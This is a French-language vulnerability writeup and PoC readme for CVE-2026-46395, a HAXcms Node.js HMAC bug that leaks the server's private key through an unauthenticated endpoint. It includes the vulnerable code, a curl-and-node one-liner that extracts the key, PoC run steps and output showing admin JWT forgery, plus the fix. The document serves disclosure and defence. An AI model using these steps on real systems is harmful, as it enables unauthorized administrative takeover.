
PoC et writeup pour CVE-2026-46395 : divulgation non authentifiée de clé privée via un HMAC cassé dans HAXcms Node.js (CWE-321/CWE-200). Recherche en sécurité autorisée uniquement.
Preuve de concept réservée aux tests de sécurité autorisés et à la recherche. La vulnérabilité décrite ici est corrigée dans la dernière version de HAXcms. Ce PoC est publié afin que les défenseurs et les chercheurs puissent vérifier le problème sur des instances non corrigées qu'ils possèdent ou pour lesquelles ils sont explicitement autorisés à tester.
| CVE | CVE-2026-46395 |
| Composant | Backend Node.js de HAXcms - haxcms-nodejs/src/lib/HAXCMS.js |
| Vulnérabilité | Clé cryptographique codée en dur + divulgation de clé privée (CWE-321, CWE-200) |
| Sévérité | Critique - CVSS 3.1 9.8 |
| Attaque | Non authentifiée, requête HTTP unique, aucune interaction utilisateur |
| Statut | Corrigé en amont. Concerne les versions antérieures au correctif. |
| Projet | elmsln/HAXcms |
| Rapporteur | Shreyas Challa ([email protected]) |
hmacBase64() dans le backend Node.js de HAXcms (src/lib/HAXCMS.js:2158-2163)
contient deux erreurs cryptographiques qui, ensemble, permettent à tout attaquant
non authentifié de récupérer le secret de signature maître du serveur (privateKey + salt) et
de forger des JWT de niveau administrateur.
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" est utilisée comme clé de signature
au lieu de key, si bien que le HMAC n'apporte aucune confidentialité.key (le privateKey + salt du
système) est concaténée au condensat puis encodée en base64 dans le jeton renvoyé.Chaque jeton a donc la structure suivante :
base64url( [32 octets : HMAC-SHA256 signé avec "0"] [N octets : privateKey+salt EN CLAIR] )
Un attaquant décode n'importe quel jeton en base64, supprime les 32 premiers octets et lit la
clé privée directement. Le point de terminaison /system/api/connectionSettings figure dans la liste
d'exclusion JWT (src/app.js) et renvoie plusieurs de ces jetons sans authentification,
si bien qu'une seule requête GET expose la clé.
Le backend PHP (
HAXCMS.php:1619-1631) implémente cela correctement (signé avec la vraie clé, renvoie uniquement le condensat → jetons de 44 caractères). La version Node.js défaillante émet des jetons de plus de 139 caractères - un signe visible que des données supplémentaires sont intégrées.
Une seule requête non authentifiée entraîne une compromission totale :
GET /system/api/connectionSettings, décoder n'importe quel jeton en base64, supprimer les 32 premiers octets.jwt.sign(payload, privateKey+salt).user_token, form_token, etc.Cela fonctionne même après que l'administrateur a défini un mot de passe fort, et les jetons forgés ne génèrent aucun événement de connexion dans les journaux.
poc_hmac_key_leak.js exécute toute la chaîne de bout en bout contre une instance
en cours d'exécution et affiche chaque étape de manière détaillée : récupérer les jetons → extraire la clé → vérifier la clé
→ forger le JWT → forger les jetons de requête → appeler un point de terminaison authentifié → créer un
site pour prouver l'accès en écriture.
Montez une instance de test locale :
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
Si jsonwebtoken n'est pas installé, le PoC extrait et vérifie quand même la clé,
et ignore simplement les étapes de forge de JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
Remplacez la fonction défaillante par un HMAC signé correct qui renvoie uniquement le condensat :
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
Après l'application du correctif :
privateKey et salt sur chaque instance déployée - tout jeton
émis précédemment contient l'ancienne clé en clair (dans les réponses HTTP, les journaux et
l'historique du navigateur).Mettez à jour vers la dernière version de HAXcms, qui contient le correctif officiel.
Ce problème a été signalé aux mainteneurs de HAXcms et corrigé avant publication. Le PoC n'est publié qu'après la disponibilité d'un correctif. Utilisez-le exclusivement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.
Ce matériel est fourni à des fins de recherche défensive, d'éducation et de tests de sécurité
autorisés. L'exécuter contre des systèmes sans autorisation explicite peut être
illicite. Vous êtes seul responsable du respect de toutes les lois applicables
et de l'obtention d'une autorisation avant de tester. Fourni « en l'état » sans
garantie (voir LICENSE).